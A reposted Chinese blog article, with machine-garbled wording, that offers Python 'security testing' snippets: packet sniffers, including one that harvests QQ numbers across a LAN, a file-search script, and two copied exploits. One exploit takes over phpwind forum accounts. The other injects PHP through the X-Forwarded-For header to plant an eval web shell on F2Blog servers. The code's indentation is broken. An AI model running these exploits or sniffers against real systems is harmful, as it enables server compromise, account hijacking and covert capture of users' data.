Python帮助安全测试常用代码示例[Delphi编程]
本文“Python帮助安全测试常用代码示例[Delphi编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
这些代码,大部份是从别处转来的.测试的时刻会对比有效.比方数据嗅探,发送恳求,正则表达式处理文件,注入测试等.
实际中可以按照自己的项目,举行一定程度的扩大.代码是简便为主.这部份代码是侧重安全测试的.
学习python已经3月了.感受非常有效.
前些天,pm还让我写一个程序帮助他办公.
近来发现很多公司也开始在自己的招聘职位上加上了python.
关于python.功效说的太多没有效,我发一些例子.
我也举荐大家有时间无妨学习一下.一天基本上便可以学会.
外国非常风行.我的pm是德国人,他们国家仿佛是直接学习python,就像咱们学习c一样遍及.
国外搞python开辟的人很多,公司也很多.国内的相对较少.
我学习这个,是为了帮助工作和玩hack.平常用也很强盛.
谷歌有个谷歌 app enginer,是个近似虚拟主机的服务.利用python开辟web利用.
别的,谷歌本身是基于python的.
大大都利用,都可以利用一个函数搞定,比方文件下载,发送恳求,解析网页,读写xml,文件压缩,爬虫搜索.
这些利用绝大大都是跨平台的.可以在linux下运行.
ironpyhon是一个组合.net平台和python的工具,他们正在研究若何操纵python把.net放在linux上运行.
诺基亚的手机也开始支持python编程.
java,.net 也开始供应python版本.
下面举些例子,演示一下python的功效.
1、数据嗅探,这个例子,是嗅探土豆网上的flash真正的播放地址.
import pcap ,struct , re
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('tcp port 80')
regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls=[]
hosts=[]
print 'start capture....'
for recv_time,recv_data in pack:
urls=re.findall(regx,recv_data);
if(len(urls)!=0):print urls;
2、嗅探qq号码,前些天我还用它嗅探局域网里全部的qq那.惋惜没有辨认性别的功效.不过可以自己增添:
# -*- coding: cp936 -*-
import pcap ,struct
pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
recv_len=len(recv_data)
if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]
== chr(03):
print struct.unpack('>I',recv_data[49:53])[0]
elif recv_len == 55:
print struct.unpack('>I',recv_data[49:53])[0]
3、数据嗅探,项目中碰到,需求嗅探一些发送到特定端口的数据,于是花了几分钟写了一个程序.
import pcap ,struct
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('port 2425')
f=open(r'/mm.txt','w+')
print 'start capture....'
for recv_time,recv_data in pack:
print recv_time
print recv_data
f.write(recv_data)
4、文件内容搜索,我发现windows的自带的搜索无法搜索内容.即便搜索到也不准.就自己写了一个:
import os,string,re,sys
class SevenFile:
files=[]
def FindContent(self,path):
print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
walks=os.walk(path)
for walk in walks:
for filename in walk[2]:
if('.mht' == filename[-4:]):
res_taskid=[]
file=walk[0]+'\\'+filename
f=open(file)
content=f.read()
pattern_taskid=re.compile(r'Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #
res_taskid=pattern_taskid.findall(content)
f.close()
if len(res_taskid)>0:
self.files.append(file)
def run():
f=SevenFile()
f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
for filepath in f.files:
print filepath
print "OK"
if __name__=="__main__":
run()
5、这个不是我写的,是一个网上的攻击phpwind论坛的一个代码:
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def usage():
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击后果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以利用uid登陆"
print " 其他版本可以利用cookie+useragent登陆"
print "########################################################"
print ""
argvs=sys.argv
usage()
data = "regname=%s
%s1®pwd=@80sec®pwdrepeat=@80sec®email=...@foo.com®emailtoall=1&step=2"
% (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-
urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"
#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:pt...@vip.sina.com
# Date: Jan 29 2007
import sys
import httplib
from urlparse import urlparse
from time import sleep
def injection(realurl,path,evil): #url,/bk/,evilip
cmd=""
cookie=""
header={'Accept':'*/*','Accept-Language':'zh-
cn','Referer':'http://'+realurl[1]+path+'index.php','Content-
Type':'application/x-www-form-urlencoded','User-
Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),
'Connection':'Keep-Alive','X-Forwarded-
For':evil,'Cookie':cookie}
#cmd =
"formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4"
#print header
#print path
#sys.exit(1)
http = httplib.HTTPConnection(realurl[1])
http.request("POST",path+"index.php",cmd, header)
sleep(1)
http1 = httplib.HTTPConnection(realurl[1])
http1.request("GET",path+"cache/test11.php")
response = http1.getresponse()
re1 = response.read()
#print re1
print re1.find('test')
if re1.find('test') ==0:
print 'Expoilt Success!\n'
print 'View Your shell:\t%s' %shell
sys.exit(1);
else:
sys.stdout.write("Expoilt FALSE!")
http.close()
#sleep(1)
#break
sys.stdout.write("\n")
def main ():
print 'Exploit For F2Blog All Version'
print 'Codz by pt...@vip.sina.com\n'
if len(sys.argv) == 2:
url = urlparse(sys.argv[1])
if url[2:-1] != '/':
u = url[2] + '/'
else:
u = url[2] #u=/bk/
else:
print "Usage: %s " % sys.argv[0]
print "Example: %s http://127.0.0.1/bk" % sys.argv[0]
sys.exit(0)
print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
global shell,useragent
shell="http://"+url[1]+u+"cache/test11.php"
query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'
@eval_r($_REQUEST[c])?>test\')'
query ='\'));'+query+';/*'
evilip=query
useragent=""
cookie=""
injection(url,u,evilip)
evilip=""
injection(url,u,evilip)
print '[+] Finished'
if __name__ == '__main__': main()
7、黑客注入攻击,这是一个完好的access+asp注入工具.
代码有点长,自己下载吧.
http://www.xfocus.net/tools/200408/780.html
国外还有更利害的python注入工具(sqlmap),支持目前基本上全部的数据库. MySQL, Oracle, PostgreSQL and Microsoft SQL
以上是“Python帮助安全测试常用代码示例[Delphi编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |